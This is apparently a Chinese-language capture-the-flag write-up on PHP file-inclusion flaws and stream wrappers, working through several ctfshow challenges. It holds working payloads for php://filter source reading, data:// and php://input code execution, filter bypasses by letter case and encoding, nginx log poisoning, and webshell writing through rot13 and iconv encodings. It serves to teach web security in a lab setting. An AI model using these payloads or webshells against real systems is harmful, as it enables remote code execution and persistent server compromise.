文件包含与php伪协议

文件包含与php伪协议

原理

  • 常用场景:文件包含 ,文本包含

  • 常用的伪协议有

    • php://filter 读取文件源码 (协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码)
    • php://input 任意代码执行;这种伪协议用于读取原始的 HTTP POST 数据,可以用于处理上传的文件和表单数据。
    • data://text/plain; 任意代码执行
    • zip:// 配合文件上传开启后门

image

若过滤了 ‘php’,使用以下方式绕过。

1、data://协议 + PHP短标签:

1
?file=data://text/plain,<?='tac flag.php'?>

2、data://协议 + base64编码:

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

3、php://input协议大小写绕过:

?PHp://input

post:

参考资料:

php://filter原理https://blog.csdn.net/qq_64201116/article/details/125926612

https://blog.csdn.net/IDHALASHAO/article/details/130368938

过滤

https://www.cnblogs.com/kgty/p/18355081

题目(ctfshow)

1.web78 (VIP)

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>

无过滤措施的文件包含:

payload:

1
2
3
4
5
?file=php://filter/convert.base64-encode/resource=flag.php
?file=data://text/plain,<?php system('whoami');?>
?file=data://text/plain,<?php system('cat flag');?>
?file=php://input
post: <?php system('cat flag');?>

2.web79 (VIP)

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
?>

php 关键字被过滤了,就不能使用 php://filter 和 php://input 了

可以考虑使用 data://text/plain,协议,或者使用 php 的大小写绕过,例如:PHP、pHp、phP等

payload:

1
2
3
4
5
6
?file=pHp://filter/convert.base64-encode/resource=flag
?file=pHp://input/
<?php system("cat flag");?>
?file=data://text/plain,<?PHP system("cat flag");?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0eXBlIGZsYWciKTs/Pg==
PD9waHAgc3lzdGVtKCJ0eXBlIGZsYWciKTs/Pg== 为<?PHP system("cat flag");?>的编码

image

image

3.web81 (VIP)

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
?>

: 都被过滤了,php伪协议不能用了,若 web 服务器为 nginx ,且代码未作对于nginx 默认日志访问路径参数的相关过滤,可以考虑使用 nginx 日志写入一句话木马。

例如:nginx的access.log在 ../../nginx/logs/access.log

在 请求包的 User-Agent 字段中添加一句话木马内容。

传参为:

1
?file=../../nginx/logs/access.log&1=system('cat+f*');

image

4.web87 (VIP)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
?>

这次发现 . 也不能用了,可以利用 file_put_contents() 的特性,构造新文件shell.php,在 shell.php 中写入一句话木马拿权限。

在get请求中使用 php://filter/ 协议,使用 write=string.rot13/resource 写入 shell.php文件。然后将 file 参数全部 URL 编码,这里需要编码两次,因为浏览器要自动解码一次,代码中 urldecode() 解码一次。最后 post 传入参数 content=一句话木马的rot13编码

1
2
3
4
5
6
get:
?file=php://filter/write=string.rot13/resource=shell.php
两次编码后:
?file=PHP%253A%252F%252Ffilter%252Fwrite%253Dstring%252Erot13%252Fresource%253Dshell%252EPHP
post:
content=<?cuc @riny($_TRG[123]);?>

image

image

写入的文件内容为:

连接木马文件

image

5.web117(VIP)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zllib|data|inpit|rot13|base64|string|log|sess/i', $x)){
die('too young too simple sometimes naive!');
}
}
$file = $_GET['file'];
$content = $_POST['content'];
filter($file);
file_put_contents($file, "<?php die();?>".$content);
?>

代码中过滤了绝大多数 php://filter 过滤器,但是未过滤 iconv过滤器

iconv过滤器使用 UCS-2LEUCS-2BE 这两种编码方式,UCS-2LEUCS-2BE是两种不同的字符编码方式,分别表示 小端序(Little Endian)大端序(Big Endian)

可以使用 iconv 绕过过滤:

把content参数内容编码为 iconv 传入;把get请求file参数做URL编码,并使用大小写绕过相关被过滤字符

1
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php

url 编码并大小写处理后得到:

1
?file=pHP%3A%2F%2Ffilter%2Fwrite%3Dconvert%2Eiconv%2EUCS%2D2LE%2EUCS%2D2BE%2Fresource%3Dshell%2EPhp

进行 iconv() 转换

php.exe iconv.php:

1
2
3
4
<?php
$a = iconv(from_encoding: "UCS-2LE", to_encoding: "UCS-2BE", string: '<?php @eval($_GET[123]);?>');
//$a = iconv("UCS-2LE", "UCS-2BE", '<?php @eval($_GET[123]);?>');
echo $a;

得到 ?<hp pe@av(l_$EG[T21]3;)>?

post:

content=?<hp pe@av(l_$EG[T21]3;)>?

image

image